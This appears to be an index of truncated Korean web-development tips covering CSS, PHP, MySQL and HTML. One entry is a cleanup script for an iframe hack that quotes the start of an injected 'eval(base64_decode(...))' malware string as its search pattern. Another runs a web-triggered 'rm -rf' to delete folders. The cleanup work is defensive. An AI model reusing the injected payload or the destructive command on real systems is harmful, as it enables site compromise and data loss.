[CSS]  word-spacing : 단어와 단어 사이의 간격을 지정할 때 단어와 단어 사이의 간격을 지정할 때 사용한다.사용 가능한 단위는 em, px, in, cm, mm, pt, pc 이다.형식 : word-spacing:"normal, 길이" 예제 결과 <p style="word-spacing:10px">   바이러핵 테스트</p> 바이러핵 테스트 <span style="word-spacing:-2pt">   바이러핵 테스트</span> 바이러핵 테스트
[CSS]  block elements와 inline elements block-level elements p h1~h6 ul ol pre dl div noscript blockquote form hr table fieldset address inline-level elements samp kbd var cite abbr acronym a img object br script map q sub sup span bdo input select textarea label button
[CSS]  블록태그의 정의와 종류 블록태그란? 레이아웃을 잡을 때 많이 쓰이고 (영역을 잡을 수 있다는 소리) 해당 태그 안에 인라인 태그를 넣을 수 있다. 구분하는 방법은 쭉 써봤을 때 자동으로 줄바꿈이 된다. 기본적으로 블록태그들은 자체의 margin과 padding값을 가지고 있으므로 작업시 초기화하고 시작한다.   블록태그의 종류 div 모든 블록태그의 아버지뻘 정도되는 태그 태그 내에 인라인, 블록 모두 담을 수 있다. 흔히 페이지 레이아웃을 잡을 때 가장 많이 사용한다. division이 full name이며 문서 내에서...
[CSS]  Browser CSS hacks /***** Selector Hacks ******/ /* IE6 and below */* html #uno  { color: red } /* IE7 */*:first-child+html #dos { color: red }  /* IE7, FF, Saf, Opera  */html>body #tres { color: red } /* IE8, FF, Saf, Opera (Everything but IE 6,7) */html>/**/body #cuatro { color...
[CSS]  CSS용어 정리 :active (활성) :after (다음) :before (이전) :first (처음) :first-child (첫 자식) :first-letter (첫 글자) :first-line (첫 줄) :focus (초점) :hover (마우스 올림) :lang (언어) :left (왼쪽) :link (연결) :right (오른쪽) :visited (방문 했던 연결) @charset (글자세트) @font-face (글꼴 표현) @import (도입) @media (메디아) @page (페이지) A absolute length (절대...
[CSS]  폰트사이즈 pt / px / em / % 비교표   Points Pixels Ems Percent 6pt 8px 0.5em 50% 7pt 9px 0.55em 55% 7.5pt 10px 0.625em 62.5% 8pt 11px 0.7em 70% 9pt 12px 0.75em 75% 10pt 13px 0.8em 80% 10.5pt 14px 0.875em 87.5% 11pt 15px 0.95em 95% 12pt 16px 1em 100% 13pt 17px 1.05em ...
[CSS]  background 속성에 대해 background 는 배경색 혹은 배경이미지를 출력할때 사용합니다.사용예)처럼 배경이미지를 사용할 때 전체 화면에 지정한 이미지를 사용하고 싶으면 background:url(이미지 지정) 형식으로 지정하면 된다.repeat-x => 가로로 계속 반복되어 표시가 된다.repeat-y => 세로로 계속 반복되어 표시가 된다.no-repeat => 한 번만 표시하고 반복하지 않는다.bottom => 배경이미지를 화면의 하단부터 채우기 시작한다.     &n...
[CSS]  IE6에서 Position: fixed 하단고정 레이어 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=euc-kr"> <title>11</title> <style type="text/css"> * {margin:0; padding:0;} *h...
[CSS]  font Property 중첩 사용 예 사용 방법은 반드시 순서대로 [font-style, font-variant, font-weight] 중에 1 ~ 3개를 선택적으로 사용하고, font-size와 line-height 를 같이 지정하려면 두 Property 사이를 ' / ' 로 구분하여 font-size/line-height와 같이 지정하고 그 다음 font-family 순서로 지정합니다. 이 순서를 지키지 않으면 순서가 틀린 Property 이후의 Property는 무시합니다. font Property 사용 예 { font : bold 12px/1....
[CSS]  pre 태그 사용시 글이 길어서 테이블이 깨질경우... 스타일 시트로 간단하게 해결~<pre style="word-wrap: break-word"> 내용... </pre>또는 table 에 table-layout: fixed 스타일도 같이 주면 해결된다.
[CSS]  CSS 디자인 팁 1. 픽셀을 사용하지 않고 글자 크기를 지정 우리나라에서도 웹 표준이 화두로 떠오르면서 글자 크기를 em으로 지정하는 경우가 많이 있습니다. em으로 하니 감이 잘 오지 않으실 겁니다. 픽셀과 단위가 다르기 때문인데 다음과 같은 코드를 사용하여 동일하게 사용할 수 있습니다. body { font-size: 62.5% } 위와 같이 선언해 주면 1.0em이 10px 와 같아집니다. 이제 크기를 어림잡기가 편해집니다. 2. CSS 코드를 읽기 편하게 작성 기본 개념은 같은 태그에 속하는 선언을 모아두는 것입니다. 다음과 같이 작...
[CSS]  div와 span 태그의 차이 W3C의 HTML 4.01 표준권고안(번역)에 따르면 span과 div는 모두 그룹화 엘러먼트(grouping elements)로서, 엘러먼트가 포함하는 내용물이 inline-level이냐, block-level이냐 하는 것을 정의하는 것 외에는 다른 역할이나 차이점이 전혀 없습니다. inline-level과 block-level의 차이점은 구글링만 하면 무수히 나올테니 생략하고, 이제부터는 실용적인 접근을 해보겠습니다. 첫 번째, 공간을 어떻게 차지하는가 가장 두드러진 차이점은 div는 주어진 가로폭을 전부 차지하고 span...
[CSS]  플래시 위의 레이어 z-index 가 먹통이 될때 보통 플래시 위에 레이어를 띄울경우 레이어가 플래시 밑으로 깔리게 된다.레이어의 z-index 값을 아무리 높인다 해도 소용이 없다.이럴 경우 플래시 object param 요소에 <param name='wmode' vlaue='transparent' /> 을 추가 해주면 이 문제를 해결할 수 있다.이 파라미터의 역할은 플래시의 투명 영역을 사용할 수 있도록 하는 요소 인데 이걸 추가 하게 되면 레이어의 z-index를 허용시켜 준다. <object classid="clsid:D27CDB6E-AE6D-11cf-...
[CSS]  font size 속성값 4가지   1. 길이 단위   상대길이 단위 ㆍem : 상위 엘리먼트에 지정된 글시 크기에 상대적이다. ㆍex : 지정된 글꼴의 글자 x의 높이에 상대적이다. ㆍpx : 픽셀, 특정장치의 해상도에 상대적이다, 가장 일반적인 단위 절대길이 단위 ㆍin : 인치 ㆍcm : 센티미터 ㆍmm : 밀리미터 ㆍpt  : 포인트 ㆍpc : 피카2. 상대크기 키워드ㆍlarger ㆍsmaller   3. 퍼센트 값   4. 절대크기 키워드 ㆍxx-small ㆍx-small ㆍsmall ㆍmedium ㆍla...
[CSS]  투명(filter:alpha)효과 (익스,파폭,오페라) 형식:  filter:alpha(opacity=70); opacity:0.7; -moz-opacity:0.7;예) <style type="text/css">   #area{   filter:alpha(opacity=30); opacity:0.3; -moz-opacity:0.3;   }</style> <div id="area">   <img src="/2215602241.gif" alt="투명...
[CSS]  FF bug - flash position:absolute 일때 플래시 무비 사라짐. FF 3.0.x 버전에서 나타나는 버그. (3.5.x 이상 버전에서는 정상동작)플래시 무비가 있는 레이어를 position:absolute로 띄울때, 해당 플래시의 wmode가 transparent 인 경우,플래시 무비가 사라져서 보이지 않음.관련 문서들http://snook.ca/archives/other/hit_bug_in_fire/http://board.flashkit.com/board/showthread.php?t=730647http://www.bigresource.com/FLASH-Firefox-and-wmode-tr...
[CSS]  UL, LI 태그 밑에 생기는 여백 해결 (IE6) UL, LI 태그 밑에 생기는 여백 해결 (IE6) <ul class="banner">       <li><a href="#"><img src="../images/main/banner_sampleclass.gif" alt="" /></a></li>       <li><a href="#"><img src="../images/main/...
[CSS]  CSS(Cascading Style Sheet) 개요 ☆ CSS(Cascading Style Sheet)란?   Cascadingcascade는 "폭포가 되어 떨어지다"라는 뜻입니다. 폭포는 물이 위에서 아래로 힘차게 흘러 내리죠? 그럼 왜 style sheet에, cascading이란 말이 붙었을까요? CSS에는 '우선순위'라는 것이 있습니다. 이 CSS의 우선순위가 정해지는 것이, 꼭 cascade와 비슷한 느낌을 주기 때문에, style sheet에 cascading이란 말을 붙인 것입니다. Stylestyle은.. 예를 들어, 어떤 문서가 있는데 글자 크기가 1...
[CSS]  DIV 코딩 예제! 남구 투어 [이 게시물은 VIRHAC님에 의해 2009-09-13 14:34:40 HTML에서 이동 됨]
[CSS]  [CSS] 단위 em의 용도 크기단위인 px, pt 등은 절대적인 값입니다.하지만 em,% 등은 상위 엘리먼트의 영향을 받습니다.첫번째 "플랜아이"는 9pt의 글자크기를 가지지만..두번째 "PLANI"는 상위 엘리먼트 글자크기인 10pt 의 50%크기로 출력됩니다.기본값은 1em이며.. 0.5em은 .5em으로 줄여써도 됩니다.
[CSS]  <!--[if IE]><![if !IE]>문에 대해서 gt = selects greater than  보다큰 :  if gt IE 6 ->  현재버전 > 6 lt = selects less than 보다 작은 :  if lt IE 6 ->  현재버전 < 6 gte = selects greater than or equal to 같거나 큰  :  if gte IE 6 ->  현재버전 >= 6 lte = selects less than or equal to 같거나 작은  :...
[PHP]  페이지 내 인클루드파일 전체 출력 if ($_SERVER['REMOTE_ADDR']=="내피시IP") { $included_files = get_included_files(); echo "<b>현재페이지 인클루드된 파일리스트:</b><br>"; foreach ($included_files as $filename) {     echo "$filename<br>"; }}
[PHP]  블랙리스트 등록으로 특정 IP차단하기 <?## 192.168.63.1 IP를 차단하며 해당 구문을 공통 인클루드되는 파일에 추가합니다.## 대역으로 제한을 하기위해서는 192.168.63 만 입력을 하게되면 1~254까지 제한이 되게됩니다$BlackList = array("192.168.63.1");foreach($BlackList AS $bKey => $bValue){ if(strpos("IP:".$REMOTE_ADDR, $bValue)){  echo"Access Denied!";  exit;&nb...
[PHP]  자주 사용하는 PHP 함수정리 1. 날짜 및 시간 관련함수 time() -용도: 현재 시각을 timestamp값으로 구한다. -방법: time() date() -용도: 사용자가 지정한 형태로 시간을 표시. 특정시간의 날짜와 요일등을 배열로 리턴한다. -방법: date("표시할 시간의 포맷형태","특정한 timestamp값") mktime() -용도: 지정된 날짜를 timestamp값으로 변환한다. -방법: mktime(시,분,초,월,일,년) checkdate() -용도: 날짜와 시간이 올바른 범위 안에 있는지 검사한다. -방법: checkdate(월...
[PHP]  ip2nation 전세계 IP 리스트 sql 파일은 사이트에서 다운로드 받을 수 있으며, 샘플코드는 아래와 같습니다.<?php  $server   = ''; // MySQL hostname $username = ''; // MySQL username $password = ''; // MySQL password $dbname   = ''; // MySQL db name   $db = mysql_connect($server, $username, $passw...
[PHP]  PHP이용 이미지를 DB에 저장하고 출력하는 방법 테이블 구조 CREATE TABLE gallery( id INT NOT NULL auto_increment, image BLOB NOT NULL, title VARCHAR(100) DEFAULT '' NOT NULL, width SMALLINT(6) DEFAULT '0' NOT NULL, height SMALLINT(6) DEFAULT '0' NOT NULL, file_size INT , # 파일크기 PRIMARY KEY (id) ) ; 이미지 받아들이는 HTML 소스 <form action='gallery.ht...
[PHP]  세션 타임 .htaccess 에서 조정하기 .htaccess 파일에 아래 구문 추가 해주면 된다.php_flag session.gc_maxlifetime 3600시간은 초단위이다.
[PHP]  정규표현식 - Basic Syntax of Regular Expressions (정규표현식의 기본 문법) 먼저 특수문자 '^'와 '$'를 살펴봅시다. 이 문자의 역할은 문자열의 시작과 끝을 의미합니다. 다음과 같은 해당 예를 들 수 있습니다. "^The": "The"로 시작하는 문자열 "of despair$": "of despair"로 끝나는 문자열 "^abc$": "abc"로 시작하고 "abc"로 끝나는 문자열 ("abc" 라는 문자열도 해당됨) "notice": "notice"가 들어 있는 문자열 마지막 예제에서 보듯이 이 두 ...
[PHP]  DB 자료를 엑셀파일로 저장 <? $connect_host = "localhost"; $connect_id = "디비아이디"; $connect_pass = "디비비밀번호"; $connect_db = "디비명"; $connect_table = "table_name"; // 대상 테이블명$xls_filename = "filename.xls"; $connect=@mysql_connect($connect_host,$connect_id,$connect_pass); $mysql=@mysql_select_db($connect_db,$connect); head...
[PHP]  문자열 함수 모음 AddCSlashes C 형식으로 문자열에 슬래쉬를 덧붙인다.  addslashes 작은따옴표 큰따옴표와 같은 특정문자 앞에 역슬래시 문자를 붙인다.  bin2hex  바이너리 데이터를 16진수 표현으로 바꾼다.  chop 문자열의 끝에 있는 공백문자를 제거하고 문자열을 반환한다.  chr 특정 문자를 반환한다.chr()함수는 아스키함수에 해당하는 문자를 반환한다.ord()함수는 문자열에서 첫번째 문자에 아스키코드값을 반환한다.   chunk_split 문...
[PHP]  PHP에서 사용되는 변수 함수 모음 doubleval : 변수의 실수형 값을 얻는다. empty : 변수 값이 존재 하는지 검사한다. get_definde_vars : 정의된 변수의 배열을 반환한다. gettype : 변수 형을 반환한다. import_request_variables : GET/POST/쿠키 변수를 전역으로 가져온다. intval : 변수의 정수형 값을 반환한다. is_array : 변수가 배열형인지 확인한다. is_double : 변수가 실수형인지 확인한다. is_int : 변수가 정수인지 확인한다. is_null : 변수가 n...
[PHP]  image resize() - GIF도 쉽게 핸들링 하는 이미지 사이즈 조절 // $pictype is optional. When empty the image will not be cutted offfunction resize($filename, $dest, $width, $height, $pictype = ""){  $format = strtolower(substr(strrchr($filename,"."),1));  switch($format)  {    case 'gif' :    $type ="gif";    $img...
[PHP]  base64_encode 를 이용한 Get 방식 변수 암호/복호화 함수 // Get 방식 변수 암호화 함수function Encode64($data){ return base64_encode($data)."||";} // Get방식으로 넘어온 변수를 Decode하는 함수function Decode64($sending_data){ $vars=explode("&",base64_decode(str_replace("||","",$sending_data))); $vars_num=count($vars); for($i=0;$i<$vars_num;$i++){&nbs...
[PHP]  E-MAIL 주소가 정확한 것인지 검사하는 함수 function check_email_lib($email) {  $url = trim($email);  if(!eregi("^[xA1-xFEa-z0-9._-]+@[xA1-xFEa-z0-9_-]+.[a-z0-9._-]+$", $url))    return;   return $email;}
[PHP]  register_globals=off 일때 변수 사용 register_globals=off 일때 변수 사용 $_GET - 폼에서 보내는 GET 변수값을 받는다. $_POST - 폼에서 보내는 POST 변수값을 받는다. $_COOKIE - HTTP의 COOKIE 변수값을 받는다. $_SERVER - server 변수를 받는다. (ex. REMOTE_ADDR) $_ENV - 환경변수를 받는다. $_REQUEST - GET, POST ,Cookie 를 한꺼번에 받는다. $_SESSION - 세션 모듈에 포함된 HTTP 변수를 받는다. 예) 변수가 var 일때 $_GET["var"] (...
[PHP]  php.ini 일반적인 구성 PHP 의 일부 일반 기능 및 내장된 기능들에 영향을 미치는 몇 가지 구성 매게변수들에 대하여 알아보기로 하겠습니다. ■ auto_append_file String 메인 파일 다음에 자동으로 분석되는 파일 이름을 String 에 지정한다. 이렇게 지정된 파일은 include() 함수로 호출된 것 처럼 포함된다. 특수값인 none 은 자동 추가 기능을 중지 시킨다. 만약 스크립트가 exit() 로 종료된다면 auto-append 작업이 수행되지 않는다. 이 명령어는 특정 웹 사이트에 정형화된 모습과 느낌을 주고자 PHP가 페이지...
[PHP]  자주 쓰이는 내장함수 basename -- 경로명에서 파일이름만 반환합니다 chgrp -- 파일의 그룹을 변환합니다 chmod -- 파일의 모드 변경 chown -- 파일의 소유자 변경 clearstatcache -- 파일의 통계(stat) 캐시를 삭제합니다. copy -- 파일을 복사합니다 delete -- 실제로는 없는 명령 dirname -- 경로의 구성요소중에서 디렉토리 이름만 반환합니다. disk_free_space -- Returns available space in directory disk_total_space -- Returns t...
[PHP]  iframe hacking 당한 후에 사용한 치료용 스크립트 실행한 디렉토리부터 하위단에 있는 모든 파일을 다 뒤져서 감염된 파일을 수정하는 방식으로 되어 있다.     파일명 : kickHack.php   <?php//usage : php -f kickHack.php @infected directory root $hackArr = array( '<?php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygndnIxJykpe2Z1bmN0aW9uIHZyMSgkcyl7aWYocHJlZ19tYXRjaF9hbGw...
[PHP]  파일 업로드 생성 함수 function upload_file2($dir, $file_name, $file){  $img_date       = date("Ymdhis"); $cnt   = rand(0, 10000);  $temp = split(".", strtolower($file_name)); $ext = $temp[count($temp) - 1];  $ext_able = "gif jpg png zip alz rar txt...
[PHP]  nobody 권한이 걸려있는 폴더 삭제하기 <?shell_exec("rm -rf (계정경로)/zbxe/files");  ?>위 소스를 rmrf.php로 저장후 변경하고자변경하고자 하는 폴더 한단계 상위 폴더에 업로드후 웹에서 실행시켜주시면 됩니다.이런식으로 하면.하면. 노바디 권한(FTP상에서 삭제되지 않는 폴더를 삭제해 줍니다.)EX// 삭제하고자 하는하는 files 디렉토리가 홈루트/zbxe/files에 잇다면        rmrf.php는 홈루트/zbxe에 업로드후 실행.files대신에 삭제고자 하는.. 폴더...
[PHP]  PHP 에서 MSSQL 접속하는 방법 (셋팅방법, 윈도우 XP) PHP 에서 MSSQL 접속하는 방법 (셋팅방법, 윈도우 XP)기본적으로 윈도우에 APM 설치및 사용이 가능하다는 전제로 설명하겠습니다. 참고로 제 컴퓨터 사양은 아래와 같습니다. 윈도우 XP 프로페셔널 SP3아파치, MySQL, PHP (Ver 5.x) PHP 에서만 셋팅을 해주면 MSSQL 접속이 가능합니다.php.ini 파일에서 'mssql' 이라고 검색해보시면 아래와 같은 부분이 나옵니다. ;extension=php_msql.dll;extension=php_mssql.dllextension=php_mysql.dll 위에...
[PHP]  그누보드 비밀글 패스워드 입력 시 팝업 사용하기 bbs/list.php 파일의 해당부분을 수정 합니다.107 Line 부근while {               중략...    $i++;    $k++;}$i++; 바로 윗 부분에// 자신의 글이거나 관리자라면 통과    if (($list[$i][mb_id] && $list[$i][mb_id] == $mem...
[PHP]  $_SERVER 정리 서버 변수: $_SERVER 참고: 4.1.0부터 지원됨. 이전 버전은 $HTTP_SERVER_VARS을 사용함 $_SERVER는 헤더, 경로, 스크립트 위치와 같은 정보를 포함하는 배열이다. 이 배열 안의 엔트리는 웹서버에 의해 생성된다. 모든 웹서버가 이런 것들을 제공한다는 보장은 없다. 서버는 어떤것은 빠뜨리거나 여기에서 목록화된 것 외의 것을 제공할수 도 있다. 이런 많은 수의 변수들은 CGI 1.1 specification에 기반하므로, 그런 변수들은 기대할수 있을것이다. 이 변수는 '슈퍼전역', 또는 자동 전역,...
[PHP]  소수점 자리수 조절 및 반올림 round() 함수를 쓰면 실수를 정수로 반올림해준다   만일 " round('실수', 2) "  이와 같은 형식으로 사용하게 되면 소수점 아래 둘째자리까지만 보여주게 되는데 이때 소수점 아래 세째자리에서 반올림이 일어난다 즉 반올림된 소수점 아래 둘째짜리까지를 보여준다      소수점 자릿수를 제한적으로 표시하고 싶으시다면 round() 함수를 쓰세여.. $a = 7; $b=3; $c = $a / $b; echo round($c,2); 결과 : 2.33 round() 함수...
[PHP]  php 함수정리 PHP 함수 정리 1. 날짜 및 시간 관련함수 *time() -용도: 현재 시각을 timestamp값으로 구한다. -방법: time()  *date() -용도: 사용자가 지정한 형태로 시간을 표시. 특정시간의 날짜와 요일등을 배열로 리턴한다. -방법: date("표시할 시간의 포맷형태","특정한 timestamp값")  *mktime() -용도: 지정된 날짜를 timestamp값으로 변환한다. -방법: mktime(시,분,초,월,일,년)  *checkdate() -용도: 날짜와 시간이 올바른 범위 ...
[PHP]  3DES 암호화/복호화 암호화 Algorithm은 크게 3가지로 나뉜다. 1. Hashing : 복호화 불가능. 단방향. 속도가 빠름 2. Symmetric : 복호화 가능 (private key 사용) 3. Asymmetric : 복호화 가능 (private, public key 사용) 1. Hashing Algorithm 종류 : MD5, SHA1, SHA256, SHA384, SHA512 등 Hash 를 계산할 때 쓰이는 종류이다. 숫자가 클 수록 Hash 값이 복잡해지므로, 더 안전한 암호화 방법이 된다. 예전에는 MD5, SHA1 등 16b...
[PHP]  썸네일, 워터마크 function createThumb($imgWidth, $imgHeight, $imgSource, $name){ global $saveDir;  $thumb = $saveDir."thumb"; $thumbName = $thumb."/".$name;  if(!is_dir($thumb)) {  mkdir($thumb);  chmod($thumb, 0707); }  $size = getimagesize($imgSource); if ($size...
[PHP]  PHP 암호화 함수정리 암호화암호화(Cryptography)는 일종의 예술이다. 암호문은 몇 개의 단어를 바꾼 로마의 궤변에서부터 요즘에 사용하는 공개 키와 개인 키(public and private key) 메커리즘에 이르기까지 여러 세기에 걸쳐 사용되었다. 암호화의 목적은 지정된 사람 이외에는 누구도 볼 수 없는 암호문을 만드는 것이다.이제 몇 페이지에 요즈음 인터넷에서 사용되는 몇 가지 암호화 방식과 동작 원리, 사용대상 등에 대해 살펴보도록 하자.단방향 암호화이 방식은 원문을 해독할 수 없도록 암호화하는 과정이다. 언뜻 들으면 사용할 수 없는...
[PHP]  디렉토리내 문자열 바꾸기 <?$dir = dir("/home/절대경로");         echo $dir->path; while($file = $dir->read()) {        echo $file;        echo "<br>";} $dir->rewind(); while($file = $dir->read()) { ec...
[PHP]  md5(), crypt(), password() 등의 문제점 및 로그.. 로그인에 관련된 보안얘기를 하려고 합니다.password(); // mysql.md5(); // php.crypt(); // php.뭐, 암호화에 관련된 함수들이 여러 가지 있겠지만 위 3가지 함수는 범용적으로 많이들 쓰고 있고안정성이 검증된 함수들이죠.. 그리고 모두 복호화가 안되거나, 어려운 해쉬함수들입니다.흔히 password() 로 암호화시킨 비밀번호... 원래의 값을 절대 알 수 없다고들 표현합니다......절대 알 수 없다 ?절대 알 수 없다 ?절대 알 수 없다 ?id = 'abcd'pw = '4ed0bdda4ee8...
[PHP]  플래시를 들어갈때 바뀌게 하기 플래시를 들어갈때 바뀌게 하기 [이 게시물은 VIRHAC님에 의해 2009-09-13 14:44:34 HTML에서 이동 됨]
[PHP]  전체 게시판의 최근글,최근덧글,최고추천글,게시자 순... 추출 함수 (DB필요없음) 제로보드의 전체게시판(정확히 말하자면 지정한 게시판)의 최신글, 최신덧글,최고 추천글 등을 리스트화 해주는 함수(?)입니다. 사용된 예는 제 홈페이지( http://lpbox.co.kr )의 오른쪽 카테고리로 들 수가 있겠습니다. 스킨은 제로보드의 최근글의 스킨을 사용하시면 됩니다. 저만을 위한 함수였기에 부족한점이 많습니다. 보완점을 알려주시면 수정에 수정을 더하겠습니다. 설치방법 - LP_Frame을 사용자 w_head.html에 include $_zb_path."outlogin.php"; require ("../gl...
[PHP]  PHP 프로그램 속도 올리는 20가지 ★ 무조건 알아야 할 PHP 속도 테스트 20 가지 ◆◇◆◇◆◇ 이 속도 테스트 보다 더 중요한 것이 PHP보안 입니다. 보안이 가장 중요함당 !!!PHP로 코딩 함에 있어서 알아야 할 속도 테스트 입니다.조금더 빠른 PHP 속도를 유지 하기 위한 것이죠 ^^작은 것이 모여서, 대따 오랜 시간이 걸릴 수 가 있는 것 입니다. !!되도록이면 속도가 빠른 것을 사용하시는 것이 좋습니다.물론 함수 마다 기능 마다 장단이 있지만요....^^다른 비교가 있으면 알려주셍 ^^ 답변 달아 주세용 ^^계속 적으로 업글 됩니다. ★ mysql...
[PHP]  PHP 구문으로 절대경로와 상대경로... 제로보드에 유용하실거라 생각합니다. 절대경로와 상대경로를 찾지 못 하였을 경우 말이죠. 소스는 아래와 같습니다. 이 소스를 *.php 로 저장을 하여 업로드한후 실행을 합니다. 절대경로와 상대경로가 출력되는것을 볼수 있습니다. [이 게시물은 VIRHAC님에 의해 2009-09-13 14:37:27 HTML에서 이동 됨]
[MYSQL]  중복되는 값 GROUP BY와 HAVING을 이용하여 검색쿼리 예제SELECT member_id, COUNT(*) AS countFROM mamber_table GROUP BY member_id HAVING count > 1ORDER BY count DESC
[MYSQL]  Mysql AES_ENCRYPT, AES_DECRYPT 함수를 이용한 사용자 함수 $encryptKey = "TEST_A2B2E3"; ## ASE ENCODE INSERT STRINGfunction ASE_ENCODE_IN($ENC_VALUE){  global $encryptKey;  return !empty($ENC_VALUE) ? " (HEX(AES_ENCRYPT(CAST('".addslashes($ENC_VALUE)."' AS CHAR), '".$encryptKey."'))) ":" '' "; }## ASE DECODE SELECT STRINGfunction...
[MYSQL]  Mysql auto_increment 리셋하기 ALTER TABLE `대상테이블` PACK_KEYS=0 CHECKSUM=0 DELAY_KEY_WRITE=0 AUTO_INCREMENT=1
[MYSQL]  Mysql 다중 인덱스 만들기 CREATE INDEX 인덱스이름 ON 테이블이름(필드1, 필드2, 필드3...);
[MYSQL]  소수점처리 - 반올림,올림,버림 mysql 에서 쿼리문을 만들다 보면 소수점처리를 하는 경우가 발생한다.(반올림) - Round()(버림) - Floor()(버림) - Ceil()
[MYSQL]  TO_CHAR format TO_CHAR(날짜,'포맷'): 날짜를 문자열로 바꾼다.  TO_DATE(문자열,'포맷'):문자열을 날짜로 ex> TO_DATE('97-10-14',' -----')  ADD_MONTHS(날짜,n):현재 날짜에 n개월수를 더한다.  MONTHS_BETWEEN(날짜1,날짜2):두 날짜의 개월수의 차를 구한다.  LAST_DAY(날짜):그 달의 마지막 날짜를 구한다.  NEXT_DAY(날짜,'요일'):날짜로 부터 다음에 나오는 요일은 며칠인가  next_day(...
[MYSQL]  mysql - 테이블명 바꾸기 Alter table old_name  rename as new_name;
[MYSQL]  Mysql 에서의 Timestamp 값사용 current_timestamp오늘 날자와 현재 시간을 'yyyy-mm-dd hh:mm:ss' 또는 yyyymmddhhmmss 형식으로 리턴 한다, 역시 리턴 값은 이 함수가 문자열로 쓰이느냐 숫자로 쓰이느냐에 따라 달라진다. 실제 개발 시 사용자의 등록일시 등을 나타낼 때 유용하게 쓰이는 함수다. 뒷부분의 실전예제에서 보게 될 것이다. mysql> select now();-> '1997-12-15 23:50:26'mysql> select now() + 0;-> 19971215235026unix_ti...
[MYSQL]  group by 했을때 group by 로 인해 제외된 컬럼 빼오기 select  no, name, jumin,tel,hp,email,trans,date from dtmi group by jumin having count(no) > 1 order by no asc;
[MYSQL]  데이터 수정하기 ->UPDATE 테이블명 SET 필드명=필드값 또는 산술식 {, 필드명 = 필드값 또는 산술식}*[WHERE 검색조건]mysql> select * from testtable; ->uid 4 번의 데이터에 name 값과 email을 입력해 봄 mysql> update testtable set name = 'jjichangkyu' where age = 24; mysql> update testtable set email = 'jiji177@naver.com' where age = 24; mysql> ...
[MYSQL]  데이터 검색 - SELECT FROM SELECT(데이터검색하기) -> 테이블의 모든 테이터를 검색mysql> select * from testtable;-> uid와 name 필드만을 조회mysql> select uid, name from testtable; ->where문을 사용하여 특정 조건에 맞는 데이터만을 검색 mysql> select * from testtable where name = "sontaesoo";   ->출력 결과 레코드의 중복제거하기(DISTINCT) SELECT DISTINCT sex FRO...
[MYSQL]  데이터 입력하기 - INSERT INTO mysql> insert into testtable (uid, name, email) values ('', 'jichangkyu, 'jiji177@naver.com'); -> 주의: uid라는 필드는 auto_increment 라는 속성으로 생성했기 때문에 이 속성을 가진 필드들은 실제로 데이터값을 주지 않아도 자동적으로 1씩 증가.   ->삽입할 필드는 생략가능 mysql> insert into testtable values('',''jichangkyu','jiji177@naver.com'); ...
[MYSQL]  테이블 생성 및 삭제 msyql> create table testtable (          ->uid mediumint(4) unsigned DEFAULT '0' NOT NULL auto_increment,          -> name varchar(12) DEFAULT "" NOT NULL,         ...
[MYSQL]  데이타베이스 전체백업, 전체 복구, table백업, table 복구 database 전체 백업 ]$ mysqldump -p database > 'filename' database 전체 복구 ]$ mysql -p database < 'filename' table 백업 mysql> LOCK TABLES employee READ; mysql> SELECT * INTO OUTFILE 'filename' FROM employee; table 복구 mysql> LOAD DATA INFILE 'filename' INTO TABLE employee; mysql> UNLOCK ...
[MYSQL]  Mysql명령어 정리 자주쓰는 명령 정리   # root암호설정 - root로 로그인하여 해야함% mysqladmin -u root password '변경암호'% mysqladmin -u root -p기존암호 password '변경암호' root암호변경설정PLEASE REMEMBER TO SET A PASSWORD FOR THE MySQL root USER !This is done with:/usr/bin/mysqladmin -u root -p password 'new-password'/usr/bin/mysqladmin -u r...
[MYSQL]  Mysql 에서의 Timestamp 값사용 current_timestamp오늘 날자와 현재 시간을 'yyyy-mm-dd hh:mm:ss' 또는 yyyymmddhhmmss 형식으로 리턴 한다, 역시 리턴 값은 이 함수가 문자열로 쓰이느냐 숫자로 쓰이느냐에 따라 달라진다. 실제 개발 시 사용자의 등록일시 등을 나타낼 때 유용하게 쓰이는 함수다. 뒷부분의 실전예제에서 보게 될 것이다. mysql> select now();-> '1997-12-15 23:50:26'mysql> select now() + 0;-> 19971215235026unix_ti...
[MYSQL]  ALTER TABLE에는 다음 세가지 형식이 있습니다. ALTER TABLE에는 다음 세가지 형식이 있습니다. ALTER TABLE table_name ADD ( ... ) ; ALTER TABLE table_name MODIFY( ... ) ; ALTER TABLE table_name DROP PRIMARYKEY ; 1. 필드 추가 ALTER TABLE table_name ADD ( ... ) ; # ALTER TABLE diary ADD addr char(20); diary 테이블에 속성이 char(20)인 'addr' 칼럼 추가 # ALTER TABLE diary ADD ad...
[MYSQL]  mysql auto_increment 자동증가값 초기화시키기   mysql  auto_increment  자동증가값 초기화시키기   테스트 테이블을 쓰다보니까 auto increment 값이 어마어마하게 커져버렸다. 이럴때 auto increment 를 초기화해서 깨끗히 사용해보장!!   -> alter table 테이블명 auto_increment = 1
[HTML]  사이트 구글 번역기 달기 - 기본 선택형 / 버튼 편집형 [기본 선택형]<div id="google_translate_element"></div><script type="text/javascript">function googleTranslateElementInit() { new google.translate.TranslateElement({ pageLanguage: 'ko',  includedLanguages: 'ko,en,zh-CN,vi,km', // 영어, 중국어(간체), 베트남어, 체보디아(크메르어) layout: g...
[HTML]  SemrushBot 검색로봇 차단방법 [SemrushBot 검색로봇]- 접속로그 Agent 정보 : Mozilla/5.0 (compatible; SemrushBot/6~bl; +http://www.semrush.com/bot.html)- 사이트 : http://www.semrush.com/bot.html- 로봇 IP : 46.229.168.141 ~ 46.229.169.255[SemrushBot 검색로봇 차단방법]robots.txt 파일 생성 또는 수정으로 아래 구문 추가User-agent : SemrushBotDisallow : /
[HTML]  다음 도로명주소 검색API 연계 예제 기본 도로명주소 입력이고 없을경우 지번주소로 대체<div> <input type="text" name="us_zip_01" id="us_zip_01" size="5" maxlength="5" value="" title="우편번호" /> <button class="greenWbtn" onclick="execDaumPostcode();return false;">주소검색</button></div><div style="padding-top:5px;"...
